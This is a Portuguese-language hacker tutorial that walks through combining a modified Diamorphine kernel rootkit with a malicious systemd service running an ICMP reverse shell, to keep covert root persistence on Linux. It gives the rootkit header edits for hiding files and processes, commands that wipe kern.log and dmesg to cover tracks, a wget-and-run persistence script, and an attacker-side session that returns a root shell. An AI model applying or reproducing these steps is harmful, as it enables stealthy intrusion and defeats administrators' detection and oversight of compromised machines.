Amolo ☽

Combinação de persistência para Linux

Autor: @matheuzsec

[ Combinação de persistência para Linux ]

_* Serviço malicioso SystemD + backdoor icmp + rootkit diamorfina com algumas coisas modificadas *_ 
    
    
                      ,____
                      |---.\
              ___     |    `	              __.....__
             / .-\  ./=	                    .'         ':,
            |  |"|_/\/|                    /  __  _  __  \\
            ;  |-;| /_|                    | |_)) || |_))||
           / \_| |/ \ |                    | | \\ || |   ||       
          /      \/\( |                    |             ||   _,
          |   /  |` ) |		           |  Sysadmin   ||.-(_{}
          /   \ _/    |	                   |   DEAD      |/    `
         /--._/  \    |		         \\|       {}_)-,||
         `/|)    |    /		         \\;/,,;;;;;;;,\\|//,
           /     |   |		        .;;;;;;;;;;;;;;;;,
         .'      |   |		       \,;;;;;;;;;;;;;;;;,//
        /         \  |		      \\;;;;;;;;;;;;;;;;,//
       (_.-.__.__./  /		     ,\';;;;;;;;;;;;;;;;'
    
    
    
***************************    SUMÁRIO    ***************************			
* 1 - Visão geral                                                   *		
* 2 - Modificando algumas coisas em diarmophine.h                   *
* 3 - Setup SystemD malicioso com icmp backdoor e em execução       *        .-~-.-~-.-~ Paper de MatheuZ	  	
* 4 - Fechamento e agradecimento                                    *			
* 5 - Hackeie todas as coisas!                                      *		
*********************************************************************	
    
[$] CAPÍTULO 1 
	
>>------> Visão geral

Nesse paper vou mostrar e ensinar um combo bem atrativo, então basicamente vamos usar uma versão modificada do meu script (https://raw.githubusercontent.com/MatheuZSecurity/systemd-backdoor/main/systemd.sh) que fiz para automatize o backdoor do systemd. Usaremos esta versão modificada para carregar um serviço malicioso, ou seja, um systemd persistência com icmp backdoor, em combinação com o rootkit diamorfina com algumas coisas alteradas, você pode usar outro rootkit, mas estou usando diamorfina apenas por exemplo.

No rootkit diamorfina, vamos apenas mudar seu sigkill. O sigkill para retornar os processos é 63, e nós pode alterar para 62 por exemplo, dificultando assim para o administrador do sistema, ou qualquer outra pessoa fazer seus processos reaparecer.

Além de alterar o sigkill do processo, também podemos alterar o "magic_prefix", o nome do módulo, sigkill para se tornar "invisível", sigkill para se tornar root e sigkill para fazer todos os processos ocultos reaparecerem.

E fazendo essas alterações nas configurações do rootkit diamorfina, usando icmp backdoor em uma espécie de systemd malicioso serviço, você obtém uma combinação extremamente boa.

NOTA: O serviço malicioso reiniciará a cada 5 segundos, o objetivo disso é demonstrar que o uso do systemd para criar serviços maliciosos e usar rootkits pode ser muito útil quando você vai manter a persistência.

[$] CAPÍTULO 2

Primeiro teremos que baixar o rootkit diamorfina que está disponível no github do m0nad (btw obrigado m0nad por criando este incrível rootkit que abriu portas para muitas pessoas estudarem sobre rootkits).

root@phantom:~/paper# git clone https://github.com/m0nad/Diamorphine
Cloning into 'Diamorphine'...
remote: Enumerating objects: 141, done.
remote: Counting objects: 100% (65/65), done.
remote: Compressing objects: 100% (23/23), done.
remote: Total 141 (delta 53), reused 42 (delta 42), pack-reused 76
Receiving objects: 100% (141/141), 32.26 KiB | 5.38 MiB/s, done.
Resolving deltas: 100% (77/77), done.
root@phantom:~/paper# 

agora que baixamos a diamorfina, vamos mover os seguintes arquivos: diamorfina.c para rk.c e diamorfina.h para rk.h.

root@phantom:~/paper/Diamorphine# mv diamorphine.c rk.c
root@phantom:~/paper/Diamorphine# mv diamorphine.h rk.h
root@phantom:~/paper/Diamorphine# 

Bem, agora que renomeamos os arquivos, podemos fazer algumas alterações em rk.h.

#define MAGIC_PREFIX "undetect4ble"

#define PF_INVISIBLE 0x10000000

#define MODULE_NAME "rk"

enum {
		SIGINVIS = 33,
		SIGSUPER = 64,
		SIGMODINVIS = 62,
};

resumindo o que mudei, mudei o "MAGIC_PREFIX" para "undetect4ble" ou seja, quando criamos uma pasta chamada "undetect4ble_dir", esta pasta fica invisível e você não pode vê-la usando ls, dir e qualquer programa que retorna todas as entradas de um diretório.

Eu também mudei o nome do módulo para rk.

e por fim os tão famosos sigkills, na diamorfina existem 3 sigkills que é uma de suas características.

1 - sigkill 31 que serve para você esconder algum processo
2 - sigkill 64 0 que é para você virar root
3 - sigkill 63 0 traz de volta o "módulo" que estava escondido quando carregamos a diamorfina, e com o módulo visível, você pode removê-lo usando rmmod

Também precisamos alterar em rk.c o "#include diamorphine.h" para "#include rk.h".

E finalmente edite o "Makefile". Troque diamorfina.o por rk.o.

obj-m := rk.o
CC = gcc -Wall 
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)

all:
		$(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
		$(MAKE) -C $(KDIR) M=$(PWD) clean


Agora é só compilar e carregar o módulo.

root@phantom:~/paper/Diamorphine# ls rk* M*
Makefile  rk.c  rk.h
root@phantom:~/paper/Diamorphine# make
make -C /lib/modules/5.15.0-56-generic/build M=/root/paper/Diamorphine modules
make[1]: Entering directory '/usr/src/linux-headers-5.15.0-56-generic'
	CC [M]  /root/paper/Diamorphine/rk.o
	MODPOST /root/paper/Diamorphine/Module.symvers
	CC [M]  /root/paper/Diamorphine/rk.mod.o
	LD [M]  /root/paper/Diamorphine/rk.ko
	BTF [M] /root/paper/Diamorphine/rk.ko
Skipping BTF generation for /root/paper/Diamorphine/rk.ko due to unavailability of vmlinux
make[1]: Leaving directory '/usr/src/linux-headers-5.15.0-56-generic'
root@phantom:~/paper/Diamorphine# 
root@phantom:~/paper/Diamorphine# insmod rk.ko
root@phantom:~/paper/Diamorphine# 

Agora podemos ver que nosso módulo foi carregado com sucesso.

root@phantom:~/paper/Diamorphine# dmesg
[ 1822.281956] rk: module is already loaded
root@phantom:~/paper/Diamorphine#
root@phantom:~/paper/Diamorphine# cat /var/log/kern.log | grep "rk: module"
Dec 26 14:04:18 phantom kernel: [ 1822.281956] rk: module is already loaded
root@phantom:~/paper/Diamorphine# 

É sempre importante que você limpe os logs kern.log e dmesg.

root@phantom:~/paper/Diamorphine# dmesg --clear
root@phantom:~/paper/Diamorphine# cat /dev/null > /var/log/kern.log

O rootkit já está preparado e carregado para uso.

[$] CAPÍTULO 3

Agora que carregamos o rootkit, precisamos configurar o systemd malicioso que irá carregar o "cliente" que vamos usar para conectar a máquina através do "servidor".

Para isso, usaremos uma versão alternativa do meu script de @ferreiraklet
	
>>------>  https://raw.githubusercontent.com/ferreiraklet/persistence/main/persistence.sh -> código


OBS: como modificamos algumas coisas no rootkit, precisaremos alterar o sigkill 31 que está no roteiro para 33.

root@phantom:~# wget https://raw.githubusercontent.com/ferreiraklet/persistence/main/persistence.sh && chmod +x persistence.sh
--2023-01-05 16:52:51--  https://raw.githubusercontent.com/ferreiraklet/persistence/main/persistence.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 29926 (29K) [text/plain]
Saving to: ‘persistence.sh’

persistence.sh          100%[================================================================>]  29,22K  --.-KB/s    in 0,003s  

2023-01-05 16:52:51 (10,2 MB/s) - ‘persistence.sh’ saved [29926/29926]

root@phantom:~# sed -i 's/kill -31 {}/kill -33 {}/g'  persistence.sh 
root@phantom:~# 

Agora que alteramos o sigkill de 31 para 33, podemos executar o script.

root@phantom:~# systemctl status persistence
● persistence.service - Systemd Persistence
		Loaded: loaded (/etc/systemd/system/persistence.service; enabled; preset: enabled)
		Active: active (running) since Thu 2023-01-05 21:24:22 UTC; 1s ago
	Main PID: 2458 (bash)
		Tasks: 5 (limit: 4547)
		Memory: 1.1M
		CPU: 24ms
		CGroup: /system.slice/persistence.service
				├─2458 /bin/bash -c "echo f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAABIAAAAAAABAAAAAAAAAALhBAAAAAAAAAAAAAEAAOAALAEAAHgAAA>
				├─2462 ./client
				├─2463 sleep 3
				└─2464 /bin/sh
				
root@phantom:~# 

Observe que nosso serviço malicioso já está rodando, agora é só conectar usando "server" e gg, systemd persistence com icmp backdoor e um rootkit com algumas coisas alteradas funcionando perfeitamente.

Agora na máquina do atacante.

root@mtzbox:~# git clone https://github.com/ferreiraklet/icmp_reverse_shell
Cloning into 'icmp_reverse_shell'...
remote: Enumerating objects: 66, done.
remote: Counting objects: 100% (66/66), done.
remote: Compressing objects: 100% (58/58), done.
remote: Total 66 (delta 31), reused 13 (delta 6), pack-reused 0
Receiving objects: 100% (66/66), 21.76 KiB | 1.81 MiB/s, done.
Resolving deltas: 100% (31/31), done.
root@phantom:~# cd icmp_reverse_shell/
root@phantom:~/icmp_reverse_shell# make
cc client.c -o client -pthread
cc server.c -o server -pthread
root@phantom:~/icmp_reverse_shell# ls
buffer.h  client  client.c  icmp_shell.h  LICENSE  Makefile  README.md  server  server.c
root@mtzbox:~/icmp_reverse_shell# 



root@mtzbox:~/icmp_reverse_shell# ./server $IP (Here you will put the ip of the target machine to be able to connect)
cmd #
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/root
echo "gg"
gg
^C
root@mtzbox:~/icmp_reverse_shell# 

[$] CAPÍTULO 4

>>-;;;------;;--> Obrigado por ler o jornal, espero que gostem, se alguém tiver alguma dúvida pode me contatar no discord:
MatheuZ#8923. 

[$] CAPÍTULO 5 - End
    
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⡿⠿⢿⣿⣷⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⣷⣠⣴⣶⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⡄⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣿⣿⣟⠉⢹⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠛⠿⠿⠿⠋⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠉⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⢀⣀⣀⠀⠀⠀⠀⠀⣰⣿⣿⡟⠁⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠈⢿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⣴⣾⣿⣿⣿⣿⣶⡀⢀⣾⣿⣿⠋⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀⠹⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⢸⣿⡁⠀⠀⢀⣿⣿⢇⣾⣿⣿⠃⠀⠀⠀⠀⠀⠀⣿⡈⠙⢿⣿⣿⣿⠿⠋⢩⡇⠀⠀⠀⠀⠀⠀⠙⣿⣿⣇⠀⠀⠀⠀⠀⠀⠀⠀
    ⠈⠛⠛⣠⣴⣿⡿⠋⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⣿⣿⣶⣾⣿⣿⣿⣷⣶⣿⡇⠀⠀⠀⠀⠀⠀⠀⣻⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⣠⣾⣿⡿⠋⠀⠀⢻⣿⣿⣷⡀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠀⠀⠀⢠⣿⣿⣏⣠⣤⣶⣤⠀⠀⠀⠀- Hackeie todas as coisas
    ⢰⣿⣿⣟⠀⠀⠀⠀⠘⢿⣿⣿⣿⣷⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣤⣴⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀
    ⢸⣿⣿⣿⣦⣄⣀⠀⠀⠀⠉⠙⠛⠛⢿⣿⣿⣿⣿⣿⣿ MATHEUZ ⣿⣿⣿⣿⣿⣿⣿⡿⠿⠛⠉⢻⣿⣄⠀⠀⠀⠀⠀⠀⠀
    ⠀⠙⠿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠀⠀⠈⢿⣿⣶⣄⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠈⠉⠉⠙⠛⠛⠛⠛⠛⣿⣿⣿⣿⠟⢋⣿⣿⣿⡿⠋⠙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠙⢿⣿⣧⡀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠟⠁⠀⣿⣿⣿⠟⠀⠀⢀⣿⣿⣿⡿⢿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠈⢿⣿⣷⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⠏⠀⠀⢸⣿⣿⣿⠀⠀⠀⢸⣿⣿⣿⠀⠈⢻⣿⣿⣿⢿⣿⣿⣦⡀⠀⠀⠀⣸⣿⣿⠀⣀⡄
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⡟⠀⠀⠀⠸⣿⣿⣿⠀⠀⠀⢻⣿⣿⣿⠀⠀⠀⢻⣿⣿⡆⠹⢿⣿⣿⣶⣶⣾⣿⣿⣿⣿⠋⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠀⠀⠀⢿⣿⣿⡆⠀⠀⠸⣿⣿⣿⡄⠀⠀⠀⢿⣿⣿⠀⠀⠙⠛⠿⠿⠿⠛⠋⢸⣿⠀⠀
    ⠀⠀⠀⠀⠀⠀⣠⣴⣿⣿⡿⠛⠁⠀⠀⠀⠀⠀⠘⣿⣿⣿⠀⠀⠀⣿⣿⣿⡇⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀
    ⠀⠀⠀⢠⣶⣿⣿⠿⠋⠁⠒⠛⢻⣷⠀⠀⠀⠀⠀⢹⣿⣿⡇⠀⣠⣿⣿⣿⢃⣴⣿⠟⠛⢿⣿⣿⡄⠀⠀⠀⠀⠀⠀⢠⣿⣿⠀⠀
    ⠀⠀⢰⣿⣿⠟⠁⠀⠀⠀⠀⢀⣾⡟⠀⠀⠀⠀⠀⠘⣿⣿⣧⣾⣿⣿⠟⠁⣾⣿⡇⠀⠀⠘⢿⣿⣿⣦⡀⠀⠀⣀⣴⣿⣿⠃⠀⠀
    ⠀⠀⣿⣿⡇⠀⠀⢀⡄⠀⢠⣿⣿⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⠟⠁⠀⠀⢿⣿⣇⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⡿⠟⠁⠀⠀⠀
    ⠀⠀⠹⣿⣷⣄⣀⣼⡇⠀⢸⣿⣿⡀⠀⠀⠀⠀⣠⣿⣿⣿⡿⠋⠀⠀⠀⠀⢸⣿⣿⡀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠈⠛⠛⠛⠋⠀⠀⠀⢻⣿⣿⣶⣶⣶⣿⣿⣿⣿⣿⠁⠀⠀⠀⠀⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠛⠛⠛⠛⠉⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣷⣄⣀⠀⢀⣀⣴⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀